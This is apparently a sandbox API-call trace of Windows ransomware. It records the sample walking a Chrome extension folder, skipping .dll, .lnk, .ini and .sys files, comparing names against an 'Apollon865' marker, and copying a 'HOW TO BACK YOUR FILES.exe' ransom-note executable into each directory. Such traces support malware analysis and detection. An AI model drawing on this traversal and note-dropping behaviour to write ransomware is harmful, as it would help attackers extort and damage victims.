	[0047.275] lstrlenW (lpString=".ini") returned 4
	[0047.275] lstrcmpiW (lpString1="mirroring_common.js", lpString2=".ini") returned 1
	[0047.275] lstrlenW (lpString=".sys") returned 4
	[0047.275] lstrcmpiW (lpString1="mirroring_common.js", lpString2=".sys") returned 1
	[0047.275] lstrlenW (lpString="mirroring_common.js") returned 19
	[0047.275] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="mirroring_hangouts.js" | out: lpString1="mirroring_hangouts.js") returned="mirroring_hangouts.js"
	[0047.275] lstrlenW (lpString="mirroring_hangouts.js") returned 21
	[0047.275] lstrlenW (lpString="Apollon865") returned 10
	[0047.275] lstrcmpiW (lpString1="angouts.js", lpString2="Apollon865") returned -1
	[0047.275] lstrlenW (lpString=".dll") returned 4
	[0047.275] lstrcmpiW (lpString1="mirroring_hangouts.js", lpString2=".dll") returned 1
	[0047.275] lstrlenW (lpString=".lnk") returned 4
	[0047.275] lstrcmpiW (lpString1="mirroring_hangouts.js", lpString2=".lnk") returned 1
	[0047.275] lstrlenW (lpString=".ini") returned 4
	[0047.276] lstrcmpiW (lpString1="mirroring_hangouts.js", lpString2=".ini") returned 1
	[0047.276] lstrlenW (lpString=".sys") returned 4
	[0047.276] lstrcmpiW (lpString1="mirroring_hangouts.js", lpString2=".sys") returned 1
	[0047.276] lstrlenW (lpString="mirroring_hangouts.js") returned 21
	[0047.276] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="mirroring_webrtc.js" | out: lpString1="mirroring_webrtc.js") returned="mirroring_webrtc.js"
	[0047.276] lstrlenW (lpString="mirroring_webrtc.js") returned 19
	[0047.276] lstrlenW (lpString="Apollon865") returned 10
	[0047.276] lstrcmpiW (lpString1="_webrtc.js", lpString2="Apollon865") returned -1
	[0047.276] lstrlenW (lpString=".dll") returned 4
	[0047.276] lstrcmpiW (lpString1="mirroring_webrtc.js", lpString2=".dll") returned 1
	[0047.276] lstrlenW (lpString=".lnk") returned 4
	[0047.276] lstrcmpiW (lpString1="mirroring_webrtc.js", lpString2=".lnk") returned 1
	[0047.276] lstrlenW (lpString=".ini") returned 4
	[0047.276] lstrcmpiW (lpString1="mirroring_webrtc.js", lpString2=".ini") returned 1
	[0047.276] lstrlenW (lpString=".sys") returned 4
	[0047.276] lstrcmpiW (lpString1="mirroring_webrtc.js", lpString2=".sys") returned 1
	[0047.276] lstrlenW (lpString="mirroring_webrtc.js") returned 19
	[0047.276] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="_locales" | out: lpString1="_locales") returned="_locales"
	[0047.276] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd28
	[0047.276] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x120) returned 0x5ac760
	[0047.276] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd30 | out: ListHead=0x5b76b0, ListEntry=0x59fd30) returned 0x59fd10
	[0047.276] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x836ddc00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x839fe880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839fe880, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 1
	[0047.276] lstrcmpiW (lpString1="_metadata", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.276] lstrcmpiW (lpString1="_metadata", lpString2="Apollon865.txt.exe") returned -1
	[0047.276] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="_metadata" | out: lpString1="_metadata") returned="_metadata"
	[0047.276] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd48
	[0047.276] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x122) returned 0x5ac888
	[0047.276] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd50 | out: ListHead=0x5b76b0, ListEntry=0x59fd50) returned 0x59fd30
	[0047.276] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x836ddc00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x839fe880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839fe880, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 0
	[0047.276] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0047.277] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fd50
	[0047.277] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata"
	[0047.277] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ac888 | out: hHeap=0x580000) returned 1
	[0047.277] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd48 | out: hHeap=0x580000) returned 1
	[0047.277] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata") returned 144
	[0047.277] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata"
	[0047.277] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.277] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.298] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.298] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x836ddc00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3442db90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3442db90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0047.298] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.298] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.299] lstrcpyW (in: lpString1=0x2d3e672, lpString2="computed_hashes.json" | out: lpString1="computed_hashes.json") returned="computed_hashes.json"
	[0047.299] lstrlenW (lpString="computed_hashes.json") returned 20
	[0047.299] lstrlenW (lpString="Apollon865") returned 10
	[0047.299] lstrcmpiW (lpString1="ashes.json", lpString2="Apollon865") returned 1
	[0047.299] lstrlenW (lpString=".dll") returned 4
	[0047.299] lstrcmpiW (lpString1="computed_hashes.json", lpString2=".dll") returned 1
	[0047.299] lstrlenW (lpString=".lnk") returned 4
	[0047.299] lstrcmpiW (lpString1="computed_hashes.json", lpString2=".lnk") returned 1
	[0047.299] lstrlenW (lpString=".ini") returned 4
	[0047.299] lstrcmpiW (lpString1="computed_hashes.json", lpString2=".ini") returned 1
	[0047.299] lstrlenW (lpString=".sys") returned 4
	[0047.299] lstrcmpiW (lpString1="computed_hashes.json", lpString2=".sys") returned 1
	[0047.299] lstrlenW (lpString="computed_hashes.json") returned 20
	[0047.299] lstrcpyW (in: lpString1=0x2d3e672, lpString2="verified_contents.json" | out: lpString1="verified_contents.json") returned="verified_contents.json"
	[0047.299] lstrlenW (lpString="verified_contents.json") returned 22
	[0047.299] lstrlenW (lpString="Apollon865") returned 10
	[0047.299] lstrcmpiW (lpString1="tents.json", lpString2="Apollon865") returned 1
	[0047.299] lstrlenW (lpString=".dll") returned 4
	[0047.299] lstrcmpiW (lpString1="verified_contents.json", lpString2=".dll") returned 1
	[0047.299] lstrlenW (lpString=".lnk") returned 4
	[0047.299] lstrcmpiW (lpString1="verified_contents.json", lpString2=".lnk") returned 1
	[0047.299] lstrlenW (lpString=".ini") returned 4
	[0047.299] lstrcmpiW (lpString1="verified_contents.json", lpString2=".ini") returned 1
	[0047.299] lstrlenW (lpString=".sys") returned 4
	[0047.299] lstrcmpiW (lpString1="verified_contents.json", lpString2=".sys") returned 1
	[0047.299] lstrlenW (lpString="verified_contents.json") returned 22
	[0047.299] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales"
	[0047.299] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ac760 | out: hHeap=0x580000) returned 1
	[0047.300] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd28 | out: hHeap=0x580000) returned 1
	[0047.324] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales") returned 143
	[0047.324] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales"
	[0047.324] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.324] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.332] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.332] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833e6790, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34479e50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34479e50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca490
	[0047.332] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.333] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.365] lstrcpyW (in: lpString1=0x2d3e670, lpString2="am" | out: lpString1="am") returned="am"
	[0047.365] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fdc8
	[0047.365] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5ac760
	[0047.365] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdd0 | out: ListHead=0x5b76b0, ListEntry=0x59fdd0) returned 0x59fd10
	[0047.365] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833f7900, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x833fee30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x833fee30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1
	[0047.365] lstrcmpiW (lpString1="ar", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.365] lstrcmpiW (lpString1="ar", lpString2="Apollon865.txt.exe") returned 1
	[0047.365] lstrcpyW (in: lpString1=0x2d3e670, lpString2="ar" | out: lpString1="ar") returned="ar"
	[0047.365] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fde8
	[0047.365] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5ac890
	[0047.365] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdf0 | out: ListHead=0x5b76b0, ListEntry=0x59fdf0) returned 0x59fdd0
	[0047.365] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83403c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83406360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83406360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1
	[0047.365] lstrcmpiW (lpString1="bg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.365] lstrcmpiW (lpString1="bg", lpString2="Apollon865.txt.exe") returned 1
	[0047.366] lstrcpyW (in: lpString1=0x2d3e670, lpString2="bg" | out: lpString1="bg") returned="bg"
	[0047.366] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe08
	[0047.366] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5ac9c0
	[0047.366] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe10 | out: ListHead=0x5b76b0, ListEntry=0x59fe10) returned 0x59fdf0
	[0047.366] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8340b180, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8340b180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8340b180, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bn", cAlternateFileName="")) returned 1
	[0047.366] lstrcmpiW (lpString1="bn", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.366] lstrcmpiW (lpString1="bn", lpString2="Apollon865.txt.exe") returned 1
	[0047.366] lstrcpyW (in: lpString1=0x2d3e670, lpString2="bn" | out: lpString1="bn") returned="bn"
	[0047.366] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe28
	[0047.366] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5acaf0
	[0047.366] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe30 | out: ListHead=0x5b76b0, ListEntry=0x59fe30) returned 0x59fe10
	[0047.366] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8340ffa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834126b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834126b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1
	[0047.366] lstrcmpiW (lpString1="ca", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.366] lstrcmpiW (lpString1="ca", lpString2="Apollon865.txt.exe") returned 1
	[0047.366] lstrcpyW (in: lpString1=0x2d3e670, lpString2="ca" | out: lpString1="ca") returned="ca"
	[0047.366] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd28
	[0047.366] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5acc20
	[0047.366] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd30 | out: ListHead=0x5b76b0, ListEntry=0x59fd30) returned 0x59fe30
	[0047.366] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83419be0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8341c2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8341c2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1
	[0047.366] lstrcmpiW (lpString1="cs", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.366] lstrcmpiW (lpString1="cs", lpString2="Apollon865.txt.exe") returned 1
	[0047.366] lstrcpyW (in: lpString1=0x2d3e670, lpString2="cs" | out: lpString1="cs") returned="cs"
	[0047.366] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe48
	[0047.366] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5acd50
	[0047.366] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe50 | out: ListHead=0x5b76b0, ListEntry=0x59fe50) returned 0x59fd30
	[0047.366] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83425f30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83428640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83428640, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1
	[0047.366] lstrcmpiW (lpString1="da", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.366] lstrcmpiW (lpString1="da", lpString2="Apollon865.txt.exe") returned 1
	[0047.366] lstrcpyW (in: lpString1=0x2d3e670, lpString2="da" | out: lpString1="da") returned="da"
	[0047.366] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe68
	[0047.367] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5ace80
	[0047.367] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe70 | out: ListHead=0x5b76b0, ListEntry=0x59fe70) returned 0x59fe50
	[0047.367] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8342d460, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8342fb70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8342fb70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1
	[0047.367] lstrcmpiW (lpString1="de", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.367] lstrcmpiW (lpString1="de", lpString2="Apollon865.txt.exe") returned 1
	[0047.367] lstrcpyW (in: lpString1=0x2d3e670, lpString2="de" | out: lpString1="de") returned="de"
	[0047.367] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe88
	[0047.367] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5acfb0
	[0047.367] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe90 | out: ListHead=0x5b76b0, ListEntry=0x59fe90) returned 0x59fe70
	[0047.367] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83434990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834370a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834370a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1
	[0047.367] lstrcmpiW (lpString1="el", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.367] lstrcmpiW (lpString1="el", lpString2="Apollon865.txt.exe") returned 1
	[0047.367] lstrcpyW (in: lpString1=0x2d3e670, lpString2="el" | out: lpString1="el") returned="el"
	[0047.367] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fea8
	[0047.367] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5ad0e0
	[0047.367] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59feb0 | out: ListHead=0x5b76b0, ListEntry=0x59feb0) returned 0x59fe90
	[0047.367] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8343bec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83440ce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83440ce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1
	[0047.367] lstrcmpiW (lpString1="en", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.367] lstrcmpiW (lpString1="en", lpString2="Apollon865.txt.exe") returned 1
	[0047.367] lstrcpyW (in: lpString1=0x2d3e670, lpString2="en" | out: lpString1="en") returned="en"
	[0047.367] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fec8
	[0047.367] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5ad210
	[0047.367] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fed0 | out: ListHead=0x5b76b0, ListEntry=0x59fed0) returned 0x59feb0
	[0047.367] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8344a920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8344d030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8344d030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1
	[0047.367] lstrcmpiW (lpString1="es", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.367] lstrcmpiW (lpString1="es", lpString2="Apollon865.txt.exe") returned 1
	[0047.367] lstrcpyW (in: lpString1=0x2d3e670, lpString2="es" | out: lpString1="es") returned="es"
	[0047.367] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fee8
	[0047.367] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5ad340
	[0047.367] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fef0 | out: ListHead=0x5b76b0, ListEntry=0x59fef0) returned 0x59fed0
	[0047.368] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83451e50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83454560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83454560, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1
	[0047.368] lstrcmpiW (lpString1="et", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.368] lstrcmpiW (lpString1="et", lpString2="Apollon865.txt.exe") returned 1
